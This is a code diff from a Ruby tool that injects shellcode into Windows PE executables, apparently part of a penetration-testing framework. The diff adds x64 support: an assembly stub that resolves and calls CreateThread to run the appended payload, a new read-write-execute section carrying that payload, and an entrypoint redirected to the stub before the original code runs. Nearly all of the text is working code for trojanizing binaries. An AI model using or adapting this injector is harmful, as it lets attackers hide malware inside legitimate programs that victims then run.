@@ -15,8 +15,20 @@ def initialize(opts = {})
15
15
@payload = opts [ :payload ]
16
16
@template = opts [ :template ]
17
17
@arch = opts [ :arch ] || :x86
18
- @buffer_register = opts [ :buffer_register ] || 'edx'
19
- unless %w{ eax ecx edx ebx edi esi } . include? ( @buffer_register . downcase )
18
+ @buffer_register = opts [ :buffer_register ]
19
+
20
+ x86_regs = %w{ eax ecx edx ebx edi esi }
21
+ x64_regs = %w{ rax rcx rdx rbx rdi rsi } + ( 8 ..15 ) . map { |n | "r#{ n } " }
22
+
23
+ @buffer_register ||= if @arch == :x86
24
+ "edx"
25
+ else
26
+ "rdx"
27
+ end
28
+
29
+ if @arch == :x86 && !x86_regs . include? ( @buffer_register . downcase )
30
+ raise ArgumentError , ":buffer_register is not a real register"
31
+ elsif @arch == :x64 && !x64_regs . include? ( @buffer_register . downcase )
20
32
raise ArgumentError , ":buffer_register is not a real register"
21
33
end
22
34
end
@@ -27,10 +39,58 @@ def processor
27
39
return Metasm ::Ia32 . new
28
40
when :x64
29
41
return Metasm ::X86_64 . new
42
+ else
43
+ raise "Incompatible architecture"
30
44
end
31
45
end
32
46
33
47
def create_thread_stub
48
+ case @arch
49
+ when :x86
50
+ create_thread_stub_x86
51
+ when :x64
52
+ create_thread_stub_x64
53
+ else
54
+ raise "Incompatible architecture"
55
+ end
56
+ end
57
+
58
+ def create_thread_stub_x64
59
+ <<-EOS
60
+ mov rcx, hook_libname
61
+ sub rsp, 30h
62
+ mov rax, iat_LoadLibraryA
63
+ call [rax]
64
+ add rsp, 30h
65
+
66
+ mov rdx, hook_funcname
67
+ mov rcx, rax
68
+ sub rsp, 30h
69
+ mov rax, iat_GetProcAddress
70
+ call [rax]
71
+ add rsp, 30h
72
+
73
+ push 0
74
+ push 0
75
+ mov r9, 0
76
+ mov r8, thread_hook
77
+ mov rdx, 0
78
+ mov rcx, 0
79
+ call rax
80
+ add rsp,10h ; clean up the push 0 above
81
+
82
+ jmp entrypoint
83
+
84
+ hook_libname db 'kernel32', 0
85
+ hook_funcname db 'CreateThread', 0
86
+
87
+ thread_hook:
88
+ mov #{ buffer_register } , shellcode
89
+ shellcode:
90
+ EOS
91
+ end
92
+
93
+ def create_thread_stub_x86
34
94
<<-EOS
35
95
pushad
36
96
push hook_libname
@@ -54,15 +114,17 @@ def create_thread_stub
54
114
hook_funcname db 'CreateThread', 0
55
115
56
116
thread_hook:
57
- lea #{ buffer_register } , [thread_hook ]
58
- add #{ buffer_register } , 9
117
+ lea #{ buffer_register } , [shellcode ]
118
+ shellcode:
59
119
EOS
60
120
end
61
121
62
122
def payload_stub ( prefix )
63
123
asm = "hook_entrypoint:\n #{ prefix } \n "
64
124
asm << create_thread_stub
125
+
65
126
shellcode = Metasm ::Shellcode . assemble ( processor , asm )
127
+
66
128
shellcode . encoded + @payload
67
129
end
68
130
@@ -73,10 +135,9 @@ def is_warbird?(pe)
73
135
# .text:004136BC sar ecx, 1
74
136
# .text:004136BE mov eax, [eax+0Ch]
75
137
# .text:004136C1 add eax, 0Ch
76
- pattern = /\x64 \xA1 \x30 \x00 \x00 \x00 \x2B \xCA \xD1 \xF9 \x8B \x40 \x0C \x83 \xC0 \x0C /
77
- sections = { }
78
- pe . sections . each { |s | sections [ s . name . to_s ] = s }
79
- if sections [ '.text' ] . encoded . pattern_scan ( pattern ) . blank?
138
+ pattern = "\x64 \xA1 \x30 \x00 \x00 \x00 \x2B \xCA \xD1 \xF9 \x8B \x40 \x0C \x83 \xC0 \x0C "
139
+ section = pe . sections . find { |s | s . name . to_s == '.text' }
140
+ if section && section . encoded . pattern_scan ( pattern ) . blank?
80
141
return false
81
142
end
82
143
@@ -99,6 +160,32 @@ def generate_pe
99
160
# Don't rebase if we can help it since Metasm doesn't do relocations well
100
161
pe . optheader . dll_characts . delete ( "DYNAMIC_BASE" )
101
162
163
+ prefix = dll_prefix ( pe )
164
+
165
+ # Generate a new code section set to RWX with our payload in it
166
+ s = Metasm ::PE ::Section . new
167
+ s . name = '.text'
168
+ s . encoded = payload_stub ( prefix )
169
+ s . characteristics = %w[ MEM_READ MEM_WRITE MEM_EXECUTE ]
170
+
171
+ # Tell our section where the original entrypoint was
172
+ if pe . optheader . entrypoint != 0
173
+ s . encoded . fixup! ( 'entrypoint' => pe . optheader . image_base + pe . optheader . entrypoint )
174
+ end
175
+ pe . sections << s
176
+ pe . invalidate_header
177
+
178
+ # Change the entrypoint to our new section
179
+ pe . optheader . entrypoint = 'hook_entrypoint'
180
+ pe . cpu = pe_orig . cpu
181
+
182
+ pe . encode_string
183
+ end
184
+
185
+ # @param pe [Metasm::PE]
186
+ # @return [String] assembly code to place at the entrypoint. Will be empty
187
+ # for non-DLL executables.
188
+ def dll_prefix ( pe )
102
189
prefix = ''
103
190
if pe . header . characteristics . include? "DLL"
104
191
# if there is no entry point, just return after we bail or spawn shellcode
@@ -117,24 +204,8 @@ def generate_pe
117
204
jnz entrypoint"
118
205
end
119
206
end
120
- # Generate a new code section set to RWX with our payload in it
121
- s = Metasm ::PE ::Section . new
122
- s . name = '.text'
123
- s . encoded = payload_stub prefix
124
- s . characteristics = %w[ MEM_READ MEM_WRITE MEM_EXECUTE ]
125
207
126
- # Tell our section where the original entrypoint was
127
- if pe . optheader . entrypoint != 0
128
- s . encoded . fixup! ( 'entrypoint' => pe . optheader . image_base + pe . optheader . entrypoint )
129
- end
130
- pe . sections << s
131
- pe . invalidate_header
132
-
133
- # Change the entrypoint to our new section
134
- pe . optheader . entrypoint = 'hook_entrypoint'
135
- pe . cpu = pe_orig . cpu
136
-
137
- pe . encode_string
208
+ prefix
138
209
end
139
210
140
211
end
0 commit comments